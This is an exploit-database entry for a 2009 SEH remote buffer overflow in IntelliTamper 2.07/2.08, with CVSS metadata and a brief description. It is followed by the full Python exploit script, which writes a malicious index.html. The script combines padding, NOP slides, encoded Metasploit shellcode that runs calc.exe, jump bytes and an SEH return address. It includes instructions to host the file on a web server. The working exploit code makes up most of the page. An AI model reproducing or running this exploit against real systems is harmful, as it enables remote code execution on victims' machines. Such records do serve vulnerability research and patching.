IntelliTamper 2.07/2.08 (SEH) Remote Buffer Overflow

vendor:

IntelliTamper

by:

loneferret

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: IntelliTamper

Affected Version From: 2.07

Affected Version To: 2.08

Patch Exists: YES

Related CWE: N/A

CPE: a:intellitamper:intellitamper:2.07

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2009

IntelliTamper 2.07/2.08 (SEH) Remote Buffer Overflow

IntelliTamper 2.07/2.08 is vulnerable to a remote buffer overflow vulnerability. The vulnerability is triggered when a maliciously crafted HTML file is opened in the application. This can lead to arbitrary code execution on the vulnerable system. The exploit code is written in Python and contains a payload that executes calc.exe.

Mitigation:

Update to the latest version of IntelliTamper 2.07/2.08

Source

Exploit-DB raw data:

# IntelliTamper 2.07/2.08 (SEH) Remote Buffer Overflow
# Based on PoC: http://www.exploit-db.com/exploits/11217
# Author: loneferret
# Big thanks to: dookie
# Tested on WinXP SP3 English

# Just copy the resulting html file on a web server, and point Intelli Tamper to that adress.
# Should get a calculator

# Thanks to dookie for telling me to stick to it.
# Exploit-DB : Try Harder (tm)


#!/usr/bin/python
#badchar list: \x00\x3C\x01
buffer = '<html><head><title>loneferret test</title></head><body>'
buffer += '<script defer="'

buffer += '\x41' * 6236 # junk
buffer += '\x90' * 180 # nop slide 1

# win32_exec -
# EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */

buffer += '\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4d'
buffer += '\x53\x9e\xc5\x83\xeb\xfc\xe2\xf4\xb1\xbb\xda\xc5\x4d\x53\x15\x80'
buffer += '\x71\xd8\xe2\xc0\x35\x52\x71\x4e\x02\x4b\x15\x9a\x6d\x52\x75\x8c'
buffer += '\xc6\x67\x15\xc4\xa3\x62\x5e\x5c\xe1\xd7\x5e\xb1\x4a\x92\x54\xc8'
buffer += '\x4c\x91\x75\x31\x76\x07\xba\xc1\x38\xb6\x15\x9a\x69\x52\x75\xa3'
buffer += '\xc6\x5f\xd5\x4e\x12\x4f\x9f\x2e\xc6\x4f\x15\xc4\xa6\xda\xc2\xe1'
buffer += '\x49\x90\xaf\x05\x29\xd8\xde\xf5\xc8\x93\xe6\xc9\xc6\x13\x92\x4e'
buffer += '\x3d\x4f\x33\x4e\x25\x5b\x75\xcc\xc6\xd3\x2e\xc5\x4d\x53\x15\xad'
buffer += '\x71\x0c\xaf\x33\x2d\x05\x17\x3d\xce\x93\xe5\x95\x25\xa3\x14\xc1'
buffer += '\x12\x3b\x06\x3b\xc7\x5d\xc9\x3a\xaa\x30\xff\xa9\x2e\x7d\xfb\xbd'
buffer += '\x28\x53\x9e\xc5'

buffer += '\x90' * 243 # nop slide 2

buffer += '\xE9\x55\xFE\xFF\xFF'# jumps back in nop slide 1
buffer += '\xeb\xd0\x90\x90' # small jump back in nop slide 2
buffer += '\x3b\x10\x40\x00' # 0x0040103b intellitamper.exe

buffer += '\x43' * 50

buffer += '">'
buffer + '</body></html>'
file=open('index.html','w')
file.write(buffer)
file.close()